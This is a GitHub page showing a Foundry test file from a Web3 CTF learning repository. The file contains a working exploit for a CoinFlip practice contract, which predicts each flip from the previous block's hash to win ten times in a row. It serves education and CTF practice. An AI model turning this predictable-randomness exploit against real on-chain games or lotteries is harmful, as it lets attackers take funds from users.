forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CoinFlip.t.sol
43 lines (36 loc) · 1.07 KB
/
CoinFlip.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import {Test, console} from "../lib/forge-std/src/Test.sol";
import {CoinFlip} from "../src/CoinFlip.sol";
contract HackCoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip coinflip;
function setUp() public {
consecutiveWins = 0;
coinflip = new CoinFlip();
}
function flip() internal returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
bool success = coinflip.flip(side);
if (success) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
function test_FlipHack() public {
uint256 flipTimes = 0;
while (flipTimes < 10) {
if (flip()) {
flipTimes++;
}
}
}
}